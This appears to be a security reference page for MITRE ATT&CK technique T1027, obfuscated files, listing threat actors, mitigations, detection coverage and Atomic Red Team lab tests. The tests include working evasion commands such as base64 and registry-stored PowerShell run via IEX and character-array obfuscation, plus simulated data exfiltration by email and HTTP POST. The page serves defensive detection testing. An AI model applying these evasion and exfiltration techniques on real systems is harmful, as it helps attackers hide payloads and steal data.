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ATT&CK Technique

Obfuscated Files or Information

T1027 · stealth

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection.

These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.

Adversaries may also use compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.

Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.

ESXiLinuxmacOSNetwork DevicesWindows

Actors Using This

14
iranAgrius
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
latin_america_brazilian_organized_cybercrimeAmavaldo
north_koreaAndariel
unknown_likely_russia_alignedAnubis Ransomware
chinaAPT10
chinaAPT17
chinaAPT1
russiaAPT28
russiaAPT29
chinaAPT31

Atomic Tests

11
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
shmacos, linuxDecode base64 Data into Script
Creates a base64-encoded data file and decodes it into an executable shell script Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` and uname -v
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
powershellwindowsExecute base64-encoded PowerShell
Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
powershellwindowsExecute base64-encoded PowerShell from Windows Registry
Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute encoded command and read/write from the registry.
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
command_promptwindowsExecution from Compressed File
Mimic execution of compressed executable. When successfully executed, calculator.exe will open.
"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe"
powershellwindowsDLP Evasion via Sensitive Data in VBA Macro over email
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}
powershellwindowsDLP Evasion via Sensitive Data in VBA Macro over HTTP
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"
powershellwindowsObfuscated Command in PowerShell
This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE]("{1}{0}{2}"-f'nv','cO','ert')  ;  &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') (  (&("{1}{2}{0}"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )
manualwindowsObfuscated Command Line using special Unicode characters
This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). Reference: https://wietze.github.io/blog/windows-command-line-obfuscation
powershellelevatedwindowsSnake Malware Encrypted crmlog file
The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver. [Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)
$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"
command_promptwindowsExecution from Compressed JScript File
Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/
"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js"
powershellwindowsObfuscated PowerShell Command via Character Array
Spawns a child PowerShell process using character array obfuscation. Both the PowerShell binary name and executed command are constructed from ASCII values at runtime to evade string-based detection.
$ps = [char[]](112,111,119,101,114,115,104,101,108,108)
$cmd = [char[]](83,116,97,114,116,45,80,114,111,99,101,115,115,32,99,97,108,99,46,101,120,101)
& (-join $ps) "-Command" (-join $cmd)

Mitigations

4
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1017User Training

User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses.

Create Comprehensive Training Programs
  • Design training modules tailored to the organization's risk profile, covering topics such as phishing, password management, and incident reporting.
  • Provide role-specific training for high-risk employees, such as helpdesk staff or executives.
Use Simulated Exercises
  • Conduct phishing simulations to measure user susceptibility and provide targeted follow-up training.
  • Run social engineering drills to evaluate employee responses and reinforce protocols.
Leverage Gamification and Engagement
  • Introduce interactive learning methods such as quizzes, gamified challenges, and rewards for successful detection and reporting of threats.
Incorporate Security Policies into Onboarding
  • Include cybersecurity training as part of the onboarding process for new employees.
  • Provide easy-to-understand materials outlining acceptable use policies and reporting procedures.
Regular Refresher Courses
  • Update training materials to include emerging threats and techniques used by adversaries.
  • Ensure all employees complete periodic refresher courses to stay informed.
Emphasize Real-World Scenarios
  • Use case studies of recent attacks to demonstrate the consequences of successful phishing or social engineering.
  • Discuss how specific employee actions can prevent or mitigate such attacks.
M1040Behavior Prevention on Endpoint

Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack.

Suspicious Process Behavior
  • Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.
  • Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.
Unauthorized File Access
  • Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.
  • Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.
Abnormal API Calls
  • Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.
  • Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like OpenProcess and WriteProcessMemory and terminates the offending process.
Exploit Prevention
  • Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.
  • Use Case: A buffer overflow exploit is launched against a vulnerable application. The endpoint detects the anomalous memory write operation and halts the process.
M1047Audit

Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements.

The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. Auditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.

System Audit
  • Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.
  • Implementation: Use tools to scan for deviations from established benchmarks.
Permission Audits
  • Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.
  • Implementation: Run access reviews to identify users or groups with excessive permissions.
Software Audits
  • Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.
  • Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.
Configuration Audits
  • Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).
  • Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.
Network Audits
  • Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.
  • Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.
M1049Antivirus/Antimalware

Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats.

Signature-Based Detection
  • Implementation: Use predefined signatures to identify known malware based on unique patterns such as file hashes, byte sequences, or command-line arguments. This method is effective against known threats.
  • Use Case: When malware like "Emotet" is detected, its signature (such as a specific file hash) matches a known database of malicious software, triggering an alert and allowing immediate quarantine of the infected file.
Heuristic-Based Detection
  • Implementation: Deploy heuristic algorithms that analyze behavior and characteristics of files and processes to identify potential malware, even if it doesn’t match a known signature.
  • Use Case: If a program attempts to modify multiple critical system files or initiate suspicious network communications, heuristic analysis may flag it as potentially malicious, even if no specific malware signature is available.
Behavioral Detection (Behavior Prevention)
  • Implementation: Use behavioral analysis to detect patterns of abnormal activities, such as unusual system calls, unauthorized file encryption, or attempts to escalate privileges.
  • Use Case: Behavioral analysis can detect ransomware attacks early by identifying behavior like mass file encryption, even before a specific ransomware signature has been identified.
Real-Time Scanning
  • Implementation: Enable real-time scanning to automatically inspect files and network traffic for signs of malware as they are accessed, downloaded, or executed.
  • Use Case: When a user downloads an email attachment, the antivirus solution scans the file in real-time, checking it against both signatures and heuristics to detect any malicious content before it can be opened.
Cloud-Assisted Threat Intelligence
  • Implementation: Use cloud-based threat intelligence to ensure the antivirus solution can access the latest malware definitions and real-time threat feeds from a global database of emerging threats.
  • Use Case: Cloud-assisted antivirus solutions quickly identify newly discovered malware by cross-referencing against global threat databases, providing real-time protection against zero-day attacks.
Tools for Implementation
  • Endpoint Security Platforms: Use solutions such as EDR for comprehensive antivirus/antimalware protection across all systems.
  • Centralized Management: Implement centralized antivirus management consoles that provide visibility into threat activity, enable policy enforcement, and automate updates.
  • Behavioral Analysis Tools: Leverage solutions with advanced behavioral analysis capabilities to detect malicious activity patterns that don’t rely on known signatures.

Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 87
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) 621
Vuln scan (Nuclei) none

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